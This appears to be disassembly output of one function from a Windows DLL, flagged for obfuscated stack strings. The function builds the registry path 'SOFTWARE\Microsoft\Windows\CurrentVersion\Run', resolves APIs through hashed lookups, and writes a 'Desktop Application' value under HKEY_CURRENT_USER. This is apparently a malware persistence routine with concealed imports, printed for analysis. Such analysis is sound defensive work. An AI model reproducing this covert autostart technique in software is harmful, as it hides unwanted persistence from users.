Function at 0x100019c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x98
mov eax, dword [0x10022014]
xor eax, esp
mov dword [esp + 0x94], eax
push esi
mov esi, ecx
push edi
test esi, esi
je 0x10001c97
cmp word [esi], 0
je 0x10001c97
movaps xmm0, xmmword [0x10020040]
lea ecx, [esp + 0x10]
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x50], 0x6556746e
movaps xmm0, xmmword [str.ftWindowsCurreSOFTWAREMicroso]
movups xmmword [esp + 0x40], xmm0
mov dword [esp + 0x54], 0x6f697372
mov dword [esp + 0x58], 0x75525c6e
mov word [esp + 0x5c], 0x6e
mov dword [esp + 0x10], 0xfad1dfa8
mov dword [esp + 0x14], 0xefd1dc8c
mov dword [esp + 0x18], 0x87771fb0
mov dword [esp + 0x1c], 0x51301224
mov dword [esp + 0x20], 0x40abf45b
mov dword [esp + 0x24], 0x6d43c522
mov dword [esp + 0x28], 0xc87b4e13
mov dword [esp + 0x2c], 0x7779ac63
call fcn.10001610
test eax, eax
jne 0x10001ac1
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0xd0c01fe9
mov dword [esp + 0x14], 0xbb003091
mov dword [esp + 0x18], 0x7bad435c
mov dword [esp + 0x1c], 0x991efae8
mov dword [esp + 0x20], 0x8733cca8
mov dword [esp + 0x24], 0xb60ab8c5
mov dword [esp + 0x28], 0x7329fec7
mov dword [esp + 0x2c], 0xb896e4bf
call fcn.10001610
test eax, eax
je 0x10001af7
lea ecx, [esp + 8]
push ecx
push 0x20106
push 0
lea ecx, [esp + 0x3c]
push ecx
push 0x80000001
call eax
test eax, eax
je 0x10001af7
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.10002c61
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [str.Desktop_Application]
mov ecx, esi
movups xmmword [esp + 0x60], xmm0
movups xmm0, xmmword [0x1001fef0]
lea edx, [ecx + 2]
movups xmmword [esp + 0x70], xmm0
movq xmm0, qword [0x1001ff00]
movq qword [esp + 0x80], xmm0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001b25
mov eax, dword [esp + 8]
sub ecx, edx
sar ecx, 1
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0xdf98bf90
mov dword [esp + 0x14], 0xaaaa5fda
lea edi, [ecx*2 + 1]
mov dword [esp + 0x18], 0x899ad243
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0x7efa210d
mov dword [esp + 0x20], 0x50e34f3b
mov dword [esp + 0x24], 0xc4c68669
mov dword [esp + 0x28], 0xa7281ddf
mov dword [esp + 0x2c], 0x7463fc4d
call fcn.10001610
test eax, eax
jne 0x10001bdd
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0xd30ea812
mov dword [esp + 0x14], 0xf2f96fe3
mov dword [esp + 0x18], 0x1c89d40d
mov dword [esp + 0x1c], 0x658d38ea
mov dword [esp + 0x20], 0x41c16552
mov dword [esp + 0x24], 0xfb51c9d4
mov dword [esp + 0x28], 0x2111f7a4
mov dword [esp + 0x2c], 0x231344f6
call fcn.10001610
test eax, eax
je 0x10001bf6
push edi
push esi
push 1
push 0
lea ecx, [esp + 0x70]
push ecx
push dword [esp + 0x20]
call eax
test eax, eax
jne 0x10001add
mov esi, dword [esp + 8]
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0xaf870bde
mov dword [esp + 0x14], 0x5028adea
mov dword [esp + 0x18], 0x16a6b63f
mov dword [esp + 0x1c], 0x45abde4b
mov dword [esp + 0x20], 0x70d13945
mov dword [esp + 0x24], 0x5d82e8c6
mov dword [esp + 0x28], 0x250531d7
mov dword [esp + 0x2c], 0xed2a5d68
call fcn.10001610
test eax, eax
jne 0x10001c94
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x467abefb
mov dword [esp + 0x14], 0xf2815cbd
mov dword [esp + 0x18], 0xab994be4
mov dword [esp + 0x1c], 0x50397454
mov dword [esp + 0x20], 0xfa5b26c6
mov dword [esp + 0x24], 0xd9c35fa6
mov dword [esp + 0x28], 0x12005fac
mov dword [esp + 0x2c], 0xe6b3d8
call fcn.10001610
test eax, eax
je 0x10001c97
push esi
call eax
mov ecx, dword [esp + 0x9c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.10002c61
mov esp, ebp
pop ebp
ret